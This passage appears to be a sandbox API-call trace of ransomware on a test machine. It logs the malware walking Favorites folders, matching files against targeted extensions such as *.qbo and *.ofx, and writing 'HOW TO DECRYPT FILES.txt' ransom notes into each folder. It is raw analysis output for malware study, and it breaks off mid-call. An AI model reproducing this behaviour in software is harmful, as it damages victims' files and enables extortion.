lstrlenA (lpString="*.qbm") returned 5 [0090.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbo") returned 0 [0090.196] lstrlenA (lpString="*.qbo") returned 5 [0090.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbx") returned 0 [0090.196] lstrlenA (lpString="*.qbx") returned 5 [0090.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qba") returned 0 [0090.197] lstrlenA (lpString="*.qba") returned 5 [0090.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qby") returned 0 [0090.197] lstrlenA (lpString="*.qby") returned 5 [0090.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbj") returned 0 [0090.197] lstrlenA (lpString="*.qbj") returned 5 [0090.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.ofx") returned 0 [0090.197] lstrlenA (lpString="*.ofx") returned 5 [0090.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qif") returned 0 [0090.197] lstrlenA (lpString="*.qif") returned 5 [0090.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.mye") returned 0 [0090.198] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0090.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.198] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN Money.url") returned -1 [0090.198] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN Money.url") returned -1 [0090.198] lstrcmpiA (lpString1="", lpString2="MSN Money.url") returned -1 [0090.198] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="MSN Entertainment.url" [0090.198] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.198] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.198] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.198] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0x20 [0090.198] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSN Money.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" [0090.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", pszSpec="*.ems") returned 0 [0090.199] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0090.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.199] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN Sports.url") returned -1 [0090.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN Sports.url") returned -1 [0090.199] lstrcmpiA (lpString1="", lpString2="MSN Sports.url") returned -1 [0090.199] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned="MSN Money.url" [0090.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.199] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.199] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.199] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0x20 [0090.199] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSN Sports.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" [0090.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", pszSpec="*.ems") returned 0 [0090.200] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0090.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN.url") returned -1 [0090.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN.url") returned -1 [0090.200] lstrcmpiA (lpString1="", lpString2="MSN.url") returned -1 [0090.200] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned="MSN Sports.url" [0090.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.200] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.200] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0x20 [0090.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSN.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" [0090.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", pszSpec="*.ems") returned 0 [0090.200] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0090.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSNBC News.url") returned -1 [0090.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSNBC News.url") returned -1 [0090.201] lstrcmpiA (lpString1="", lpString2="MSNBC News.url") returned -1 [0090.201] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned="MSN.url" [0090.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.201] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.201] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.201] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0x20 [0090.201] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSNBC News.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" [0090.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", pszSpec="*.ems") returned 0 [0090.201] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0090.201] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.202] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0090.202] lstrcmpA (lpString1=".", lpString2="Windows Live") returned -1 [0090.202] lstrcmpA (lpString1="..", lpString2="Windows Live") returned -1 [0090.202] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*") returned="*.*" [0090.202] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="Windows Live" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0090.202] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.205] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.205] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.205] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.205] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.205] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0090.205] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.205] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Get Windows Live.url") returned -1 [0090.205] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Get Windows Live.url") returned 1 [0090.205] lstrcmpiA (lpString1="", lpString2="Get Windows Live.url") returned -1 [0090.205] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*") returned="*.*" [0090.205] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0090.205] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="" [0090.205] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" [0090.205] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to decrypt files.txt")) returned 0xffffffff [0090.205] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.208] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.208] CloseHandle (hObject=0x8c) returned 1 [0090.209] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="Get Windows Live.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" [0090.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", pszSpec="*.ems") returned 0 [0090.209] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0090.209] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Live Gallery.url") returned -1 [0090.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Live Gallery.url") returned -1 [0090.209] lstrcmpiA (lpString1="", lpString2="Windows Live Gallery.url") returned -1 [0090.209] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="Get Windows Live.url" [0090.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0090.209] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="" [0090.209] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" [0090.209] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to decrypt files.txt")) returned 0x20 [0090.209] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="Windows Live Gallery.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" [0090.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", pszSpec="*.ems") returned 0 [0090.210] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0090.210] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Live Mail.url") returned -1 [0090.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Live Mail.url") returned -1 [0090.210] lstrcmpiA (lpString1="", lpString2="Windows Live Mail.url") returned -1 [0090.210] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="Windows Live Gallery.url" [0090.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0090.210] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="" [0090.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" [0090.210] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to decrypt files.txt")) returned 0x20 [0090.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="Windows Live Mail.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" [0090.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", pszSpec="*.ems") returned 0 [0090.210] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0090.210] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Live Spaces.url") returned -1 [0090.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Live Spaces.url") returned -1 [0090.211] lstrcmpiA (lpString1="", 